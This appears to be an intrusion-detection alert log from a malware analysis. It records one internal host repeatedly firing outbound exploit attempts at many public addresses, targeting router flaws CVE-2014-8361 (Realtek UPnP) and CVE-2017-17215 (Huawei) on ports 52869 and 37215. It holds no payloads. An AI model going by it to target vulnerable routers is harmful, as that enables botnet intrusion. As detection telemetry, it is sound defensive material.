Timestamp:	07/20/24-23:01:40.322860
SID:	2835222
Source Port:	37002
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 4.194.116.48

Timestamp:	07/20/24-23:01:02.444710
SID:	2025132
Source Port:	50442
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 168.54.72.251

Timestamp:	07/20/24-23:01:08.609855
SID:	2027339
Source Port:	45964
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.225.101.65

Timestamp:	07/20/24-23:01:27.655551
SID:	2835222
Source Port:	48700
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 73.13.167.32

Timestamp:	07/20/24-23:01:58.249042
SID:	2027339
Source Port:	53186
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.156.85.195

Timestamp:	07/20/24-23:01:00.640312
SID:	2829579
Source Port:	48356
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 23.131.141.174

Timestamp:	07/20/24-23:01:31.313163
SID:	2027339
Source Port:	53996
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 147.65.114.30

Timestamp:	07/20/24-23:01:47.709674
SID:	2831300
Source Port:	36216
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 111.252.176.80

Timestamp:	07/20/24-23:01:42.244235
SID:	2027339
Source Port:	36306
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 75.147.225.215

Timestamp:	07/20/24-23:01:45.078337
SID:	2025132
Source Port:	40646
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 145.21.134.81

Timestamp:	07/20/24-23:01:43.324295
SID:	2027339
Source Port:	39042
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 206.176.8.137

Timestamp:	07/20/24-23:01:00.639011
SID:	2829579
Source Port:	42978
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 36.71.23.107

Timestamp:	07/20/24-23:01:43.874055
SID:	2027339
Source Port:	33176
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 32.189.144.58

Timestamp:	07/20/24-23:01:43.978983
SID:	2831300
Source Port:	59718
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 132.102.241.51

Timestamp:	07/20/24-23:01:44.663524
SID:	2027339
Source Port:	47332
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 57.145.129.242

Timestamp:	07/20/24-23:01:46.387777
SID:	2027339
Source Port:	60138
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 208.24.236.236

Timestamp:	07/20/24-23:01:58.031141
SID:	2025132
Source Port:	48568
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 133.134.189.40

Timestamp:	07/20/24-23:02:07.969418
SID:	2027339
Source Port:	38164
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 44.188.193.15

Timestamp:	07/20/24-23:01:09.021221
SID:	2025132
Source Port:	49184
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.244.190.175

Timestamp:	07/20/24-23:00:59.172943
SID:	2835222
Source Port:	56586
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 37.189.124.248

Timestamp:	07/20/24-23:01:08.600680
SID:	2027339
Source Port:	60816
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.38.235.14

Timestamp:	07/20/24-23:00:57.222163
SID:	2829579
Source Port:	44174
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 109.249.3.178

Timestamp:	07/20/24-23:01:53.372532
SID:	2027339
Source Port:	52392
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 59.51.41.229

Timestamp:	07/20/24-23:02:05.547419
SID:	2025132
Source Port:	39674
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 151.217.152.189

Timestamp:	07/20/24-23:01:58.093784
SID:	2831300
Source Port:	40746
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 133.252.225.26

Timestamp:	07/20/24-23:01:43.091220
SID:	2027339
Source Port:	56428
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.127.76.103

Timestamp:	07/20/24-23:01:27.658221
SID:	2829579
Source Port:	54958
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 34.173.234.248

Timestamp:	07/20/24-23:01:48.317366
SID:	2025132
Source Port:	51816
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 203.177.111.61

Timestamp:	07/20/24-23:01:34.044223
SID:	2829579
Source Port:	50906
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.203.231.160

Timestamp:	07/20/24-23:01:20.140632
SID:	2829579
Source Port:	49352
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 213.187.250.71

Timestamp:	07/20/24-23:01:40.291616
SID:	2835222
Source Port:	48096
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 198.107.98.141

Timestamp:	07/20/24-23:01:02.054387
SID:	2829579
Source Port:	41240
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 37.20.218.143

Timestamp:	07/20/24-23:01:46.983381
SID:	2025132
Source Port:	41326
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.46.25.223

Timestamp:	07/20/24-23:01:04.058922
SID:	2829579
Source Port:	48120
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 198.167.255.95

Timestamp:	07/20/24-23:01:50.951743
SID:	2831300
Source Port:	42826
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 51.20.137.216

Timestamp:	07/20/24-23:01:13.589327
SID:	2025132
Source Port:	43516
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.118.52.116

Timestamp:	07/20/24-23:01:31.983105
SID:	2835222
Source Port:	45186
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 27.41.96.136

Timestamp:	07/20/24-23:00:57.222139
SID:	2835222
Source Port:	50028
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.150.190.33

Timestamp:	07/20/24-23:01:02.076414
SID:	2835222
Source Port:	50714
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 77.76.243.3

Timestamp:	07/20/24-23:01:08.606848
SID:	2027339
Source Port:	39260
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 167.62.210.191

Timestamp:	07/20/24-23:01:31.974580
SID:	2835222
Source Port:	48674
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 212.103.196.38

Timestamp:	07/20/24-23:01:32.027082
SID:	2829579
Source Port:	41772
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.69.181.229

Timestamp:	07/20/24-23:01:14.105395
SID:	2829579
Source Port:	42942
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 36.230.221.168

Timestamp:	07/20/24-23:01:26.023836
SID:	2025132
Source Port:	43992
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.117.206.14

Timestamp:	07/20/24-23:01:31.991336
SID:	2835222
Source Port:	58400
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 188.20.150.72

Timestamp:	07/20/24-23:01:42.790680
SID:	2027339
Source Port:	54812
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 1.167.45.35

Timestamp:	07/20/24-23:01:41.349768
SID:	2027339
Source Port:	56034
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.0.81.109

Timestamp:	07/20/24-23:01:07.054782
SID:	2829579
Source Port:	46900
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 129.65.153.68

Timestamp:	07/20/24-23:01:44.389834
SID:	2027339
Source Port:	58038
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.73.125.205

Timestamp:	07/20/24-23:00:59.148144
SID:	2835222
Source Port:	60312
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 71.221.213.203

Timestamp:	07/20/24-23:01:43.636703
SID:	2027339
Source Port:	37804
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 204.16.50.125

Timestamp:	07/20/24-23:01:44.728463
SID:	2027339
Source Port:	52602
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 147.68.197.111

Timestamp:	07/20/24-23:01:41.919931
SID:	2027339
Source Port:	32798
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 2.109.1.91

Timestamp:	07/20/24-23:01:52.684130
SID:	2027339
Source Port:	44022
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 126.192.25.7

Timestamp:	07/20/24-23:01:43.978984
SID:	2027339
Source Port:	56542
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.95.96.216

Timestamp:	07/20/24-23:01:21.915268
SID:	2835222
Source Port:	40924
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.168.204.140

Timestamp:	07/20/24-23:01:34.043842
SID:	2829579
Source Port:	51620
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 137.66.212.197

Timestamp:	07/20/24-23:01:48.181097
SID:	2027339
Source Port:	34490
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.200.219.60

Timestamp:	07/20/24-23:01:04.097857
SID:	2829579
Source Port:	55782
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 82.63.31.170

Timestamp:	07/20/24-23:01:08.571946
SID:	2027339
Source Port:	46826
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 113.102.84.222

Timestamp:	07/20/24-23:02:04.208558
SID:	2027339
Source Port:	55192
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 47.35.34.220

Timestamp:	07/20/24-23:01:41.360712
SID:	2025132
Source Port:	37410
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 173.172.122.41

Timestamp:	07/20/24-23:01:52.609463
SID:	2027339
Source Port:	57762
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 79.95.218.159

Timestamp:	07/20/24-23:01:44.082683
SID:	2025132
Source Port:	49892
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 49.137.23.5

Timestamp:	07/20/24-23:01:42.042815
SID:	2027339
Source Port:	54570
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.173.93.85

Timestamp:	07/20/24-23:01:00.639012
SID:	2835222
Source Port:	35120
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 114.247.247.18

Timestamp:	07/20/24-23:01:31.312614
SID:	2027339
Source Port:	49448
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 179.153.61.251

Timestamp:	07/20/24-23:01:53.353271
SID:	2831300
Source Port:	59452
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 40.231.162.161

Timestamp:	07/20/24-23:01:25.509340
SID:	2027339
Source Port:	56156
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.13.249.251

Timestamp:	07/20/24-23:01:04.058922
SID:	2835222
Source Port:	42978
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 113.34.69.120

Timestamp:	07/20/24-23:01:02.085856
SID:	2025132
Source Port:	56566
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.51.204.149

Timestamp:	07/20/24-23:01:24.929013
SID:	2829579
Source Port:	50676
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 116.88.149.60

Timestamp:	07/20/24-23:01:25.526897
SID:	2025132
Source Port:	48868
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 104.39.87.115

Timestamp:	07/20/24-23:01:43.085956
SID:	2027339
Source Port:	57422
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.104.12.239

Timestamp:	07/20/24-23:01:04.098909
SID:	2835222
Source Port:	36510
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 32.189.144.58

Timestamp:	07/20/24-23:01:44.446628
SID:	2027339
Source Port:	58682
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 58.25.190.68

Timestamp:	07/20/24-23:01:42.637859
SID:	2027339
Source Port:	39736
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 155.110.172.241

Timestamp:	07/20/24-23:01:42.709583
SID:	2831300
Source Port:	48606
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 204.214.250.6

Timestamp:	07/20/24-23:01:11.632393
SID:	2835222
Source Port:	51772
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 81.110.138.235

Timestamp:	07/20/24-23:01:47.749865
SID:	2025132
Source Port:	33484
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 99.148.114.78

Timestamp:	07/20/24-23:02:05.636717
SID:	2025132
Source Port:	34174
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.149.181.67

Timestamp:	07/20/24-23:01:20.144672
SID:	2835222
Source Port:	60704
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 210.173.156.193

Timestamp:	07/20/24-23:01:44.971718
SID:	2025132
Source Port:	52574
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 64.169.37.205

Timestamp:	07/20/24-23:02:10.031806
SID:	2025132
Source Port:	43076
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 191.173.38.241

Timestamp:	07/20/24-23:01:02.259207
SID:	2027339
Source Port:	55498
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 80.104.187.148

Timestamp:	07/20/24-23:01:41.637960
SID:	2831300
Source Port:	55360
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 104.27.90.68

Timestamp:	07/20/24-23:01:42.145997
SID:	2027339
Source Port:	58762
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 48.17.76.254

Timestamp:	07/20/24-23:02:00.413915
SID:	2027339
Source Port:	38334
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 43.168.154.99

Timestamp:	07/20/24-23:01:42.159489
SID:	2027339
Source Port:	52240
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 221.42.114.149

Timestamp:	07/20/24-23:01:26.010869
SID:	2025132
Source Port:	55142
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 88.40.199.176

Timestamp:	07/20/24-23:02:02.632381
SID:	2831300
Source Port:	43208
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 60.176.144.80

Timestamp:	07/20/24-23:00:57.222128
SID:	2829579
Source Port:	38764
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 174.95.107.188

Timestamp:	07/20/24-23:01:48.701127
SID:	2027339
Source Port:	52112
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.45.176.207

Timestamp:	07/20/24-23:01:20.131339
SID:	2835222
Source Port:	43742
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 64.86.139.164

Timestamp:	07/20/24-23:01:08.607816
SID:	2027339
Source Port:	48736
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.59.190.80

Timestamp:	07/20/24-23:01:04.118165
SID:	2835222
Source Port:	39384
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 157.142.102.71

Timestamp:	07/20/24-23:01:44.139692
SID:	2027339
Source Port:	58250
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 37.133.189.92

Timestamp:	07/20/24-23:01:53.387026
SID:	2027339
Source Port:	34730
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.207.172.207

Timestamp:	07/20/24-23:01:21.915268
SID:	2835222
Source Port:	42074
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 166.142.205.252

Timestamp:	07/20/24-23:01:24.575344
SID:	2025132
